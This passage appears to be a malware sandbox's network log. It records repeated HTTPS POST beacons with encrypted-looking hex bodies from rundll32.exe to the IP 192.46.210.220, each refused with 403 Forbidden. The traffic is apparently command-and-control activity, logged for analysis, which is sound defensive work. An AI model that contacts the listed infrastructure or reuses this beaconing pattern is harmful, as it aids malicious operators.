2021-10-28 02:46:07 UTC	154	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:46:08 UTC	163	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:46:08 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.5	49889	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:46:08 UTC	158	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:46:08 UTC	159	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:46:09 UTC	163	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:46:09 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.5	49896	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:46:12 UTC	164	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:46:12 UTC	164	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:46:13 UTC	173	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:46:13 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.5	49897	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:46:12 UTC	168	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:46:12 UTC	169	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:46:13 UTC	173	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:46:13 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.5	49905	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:46:16 UTC	174	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:46:16 UTC	174	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:46:17 UTC	183	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:46:16 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.5	49904	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:46:16 UTC	178	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:46:16 UTC	178	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:46:17 UTC	183	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:46:16 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.5	49912	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:46:20 UTC	183	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:46:20 UTC	184	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:46:20 UTC	193	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:46:20 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.5	49913	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:46:20 UTC	188	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:46:20 UTC	188	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:46:20 UTC	193	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:46:20 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.5	49920	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:46:24 UTC	193	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:46:24 UTC	194	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:46:24 UTC	203	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:46:24 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49769	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:45:11 UTC	19	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:45:11 UTC	19	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:45:12 UTC	24	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:45:12 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.5	49921	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:46:24 UTC	198	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:46:24 UTC	198	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:46:25 UTC	203	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:46:24 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.5	49940	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:46:28 UTC	203	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:46:28 UTC	203	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:46:28 UTC	213	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:46:28 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.5	49941	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:46:28 UTC	208	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:46:28 UTC	208	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:46:28 UTC	213	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:46:28 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.5	49963	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:46:31 UTC	213	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:46:31 UTC	213	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:46:32 UTC	223	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:46:32 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.5	49964	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:46:31 UTC	218	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
